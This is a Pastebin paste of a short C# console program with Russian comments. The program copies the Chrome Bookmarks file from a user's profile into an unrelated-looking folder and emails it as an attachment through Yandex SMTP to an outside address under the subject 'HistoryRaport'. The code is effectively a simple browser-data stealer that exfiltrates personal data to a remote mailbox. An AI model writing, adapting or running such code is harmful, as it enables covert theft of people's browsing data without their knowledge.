Advertisement
Guest User

Untitled

a guest
Sep 7th, 2015
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.38 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.IO;
  7. using System.Net;
  8. using System.Net.Mail;
  9. using System.Net.Mime;
  10.  
  11. namespace ConsoleApplication1
  12. {
  13. class Program
  14. {
  15. static void Main(string[] args)
  16. {
  17. File.Copy(@"C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Bookmarks", @"C:\Users\user\Videos\Games for Windows - LIVE Videos\Bookmarks", true);
  18. //Указываем SMTP сервер и авторизуемся.
  19. SmtpClient Smtp_Client = new SmtpClient("smtp.yandex.ru", 465);
  20. Smtp_Client.Credentials = new NetworkCredential("fff@fff.fff", "ggggggg");
  21. //Выключаем или включаем SSL - (например для гугла должен быть включен).
  22. Smtp_Client.EnableSsl = true;
  23.  
  24. //Приступаем к формированию самого письма
  25. MailMessage Message = new MailMessage();
  26. Message.From = new MailAddress("gg@gmail.com");
  27. Message.To.Add(new MailAddress("krggg3@yandex.ru"));
  28. Message.Subject = "!!!!!!!HistoryRaport!!!!!!";
  29. Message.Body = "New History raport arival";
  30. //Теперь прикрепим файл к сообщению...
  31.  
  32. string file = @"C:\Users\user\Videos\Games for Windows - LIVE Videos\Bookmarks";
  33. Attachment attach = new Attachment(file, MediaTypeNames.Application.Octet);
  34. // Добавляем информацию для файла
  35. ContentDisposition disposition = attach.ContentDisposition;
  36. disposition.CreationDate = System.IO.File.GetCreationTime(file);
  37. disposition.ModificationDate = System.IO.File.GetLastWriteTime(file);
  38. disposition.ReadDate = System.IO.File.GetLastAccessTime(file);
  39.  
  40. Message.Attachments.Add(attach);
  41. try
  42. {
  43.  
  44. Smtp_Client.Send(Message);//непосредственно само отправление...
  45. }
  46.  
  47. catch (Exception ex)
  48. {
  49. Console.WriteLine("Error: " + ex.ToString());
  50. return;
  51. Console.ReadKey();
  52. }
  53. Console.ReadKey();
  54.  
  55.  
  56.  
  57. }
  58. }
  59. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement